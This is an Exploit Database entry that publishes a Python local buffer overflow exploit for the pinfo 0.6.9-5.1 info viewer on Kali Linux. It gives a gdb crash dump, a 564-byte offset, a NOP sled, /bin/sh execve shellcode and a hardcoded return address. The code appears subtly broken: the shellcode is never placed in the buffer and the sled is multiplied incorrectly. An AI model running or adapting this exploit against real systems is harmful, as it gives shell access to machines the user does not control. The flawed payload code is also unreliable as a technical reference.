



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

PlInfo 0.6.9-5.1 - Local Buffer Overflow

EDB-ID:

40023

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[LINUX](#)

Date:

2016-06-27

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: PInfo - File viewer
# Version: 0.6.9-5.1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: An alternative info-file viewer
# pinfo is an viewer for Info documents, which is based on ncurses.
# Kali Linux 2.0 package: pool/main/p/pinfo/pinfo_0.6.9-5.1_i386.deb
# MD5sum: 9487efb0be037536eeda31b588cb6f89
# Website:http://pinfo.alioth.debian.org/
#
# $ run -m `python -c 'print "A"*564+"DCBA"'`
# Program received signal SIGSEGV, Segmentation fault.
# -----
-[regs]
# EAX: 0x00000002 EBX: 0xB7F0B000 ECX: 0x00004554 EDX: 0x00000100
# o d I t s z a P c
# ESI: 0x41424344 EDI: 0x00004554 EBP: 0xBFFFF4A4 ESP: 0xBFFFEF30
# EIP: 0xB7D92832
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
# -----
-[code]
# => 0xb7d92832 <__GI_getenv+114>:    cmp    di,WORD PTR [esi]
# 0xb7d92835 <__GI_getenv+117>:    jne    0xb7d92828 <__GI_getenv+104>
# 0xb7d92837 <__GI_getenv+119>:    mov    eax,DWORD PTR [esp+0x14]
# 0xb7d9283b <__GI_getenv+123>:    mov    DWORD PTR [esp+0x8],eax
# 0xb7d9283f <__GI_getenv+127>:    mov    eax,DWORD PTR [esp+0x18]
# 0xb7d92843 <__GI_getenv+131>:    mov    DWORD PTR [esp+0x4],eax
# 0xb7d92847 <__GI_getenv+135>:    lea   eax,[esi+0x2]
# 0xb7d9284a <__GI_getenv+138>:    mov    DWORD PTR [esp],eax
# -----
-----
#
# gdb$ x/100x $esp
# 0xbffff250:    0xbffff49c    0x00000003    0x00000001    0x00000002
# 0xbffff260:    0xb7d6ebf8    0xb7fe78bd    0xb7d74ffd    0x41049384
# 0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
# 0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141

import os, subprocess

def run():
    try:
        print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
        print "# This Exploit has been developed using Exploit Pack"
        # NOPSLED + SHELLCODE + EIP

        buffersize = 564
        nopsled = "\x90"*200
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        eip = "\x40\xf3\xff\xbf"
        buffer = nopsled * (buffersize-len(shellcode)) + eip
        subprocess.call(["pinfo -m",' ', buffer])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "Sorry, PInfo File Viewer - Not found!"
        else:
            print "Error executing exploit"
            raise

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
        print "Author: Juan Sacco - Exploit Pack"
    except IndexError:
        howtousage()
run()
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.